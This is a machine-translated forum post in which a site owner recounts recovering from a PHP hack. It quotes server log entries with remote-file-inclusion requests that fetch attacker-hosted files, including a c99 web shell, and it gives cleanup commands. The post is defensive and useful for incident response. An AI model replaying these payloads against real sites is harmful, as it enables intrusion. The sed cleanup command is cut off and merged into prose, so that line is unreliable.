有一段时间我的共享托管环境遭到入侵,因为我没有修复已安装的应用程序的组合.上周,这是因为一个名为Help Center Live的PHP应用程序的旧的和未使用的安装.结果是服务器上的每个PHP文件(我有几个Wordpress,Joomlas,SilverStripe安装)都添加了代码,从其他网站中提取隐藏链接并将其包含在我的页面中.其他人报告说,在这种攻击之后他们的网站被谷歌禁止了 - 幸运的是我似乎早就抓住了它.当我从手机浏览其中一个网站时,我才注意到它 - 该页面上有移动浏览器中包含的链接.
我在日志中发现了许多像这样的攻击尝试:
62.149.18.193 - [06/Feb/2009:14:52:45 +0000]"GET /support/module.php?module= HelpCenter // include/main.php?config [search_disp] = true&include_dir = http:/ /www.portlandonnuri.com/ 2008_web // technote7/data/photo/id2.txt ??? HTTP/1.1"200 26" - ""libwww-perl/5.814"
我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的PHP代码.我还发现该脚本创建了包含其他受感染网站链接的HTML文件.我也删除了它们.现在我担心攻击者可能遗漏了我错过的其他东西 - 某个地方的PHP文件会让他永久访问.文件日期都在攻击中被修改,我找不到在相关时间内更改的任何其他文件.为了确保我的服务器上没有后门,是否有一些我错过的显而易见的东西?
编辑:我还搜索包含攻击代码的文本文件,如上面的日志文件片段中所示.我没找到任何.
另一个编辑:如果你碰巧碰到这篇文章,因为你发现自己处于相同的情况,也许这会对你有所帮助.我用它来备份我的所有PHP源文件,然后再操作它们:
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
这是为了撤消攻击者所做的更改:
find . -name *.php -exec sed -i '/不是火箭科学,但对于像我这样偶尔的Linux/Unix用户来说也不是微不足道的:-).
另一个编辑:我无法审核服务器上的每一行代码,但我可以搜索可疑数据.我搜索了所有出现的"eval"和"base64"并没有找到任何看起来不合法的东西.然后我为".ru"运行了一个grep(因为肇事者似乎是从那里来的)而且,看哪,发现了一个叫做c99 shell的东西,我迅速将其移除.
最终编辑:我发现了如何上传c99 shell - 通过Coppermine Photo Gallery中的一个洞.
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-" 97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] " GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"IP地址,顺便说一句,是Godaddy托管的IP.
1> scunliffe..:1.)保留您用于这些应用程序的文件的存储库(例如SVN或类似文件)
2.)每个应用程序安全更新尽可能保持最新(大多数都有RSS提要)
3.)定期备份您的数据库
如果/ @!#$命中风扇,您可以重新使用数据库的新副本,并从SVN重新部署代码.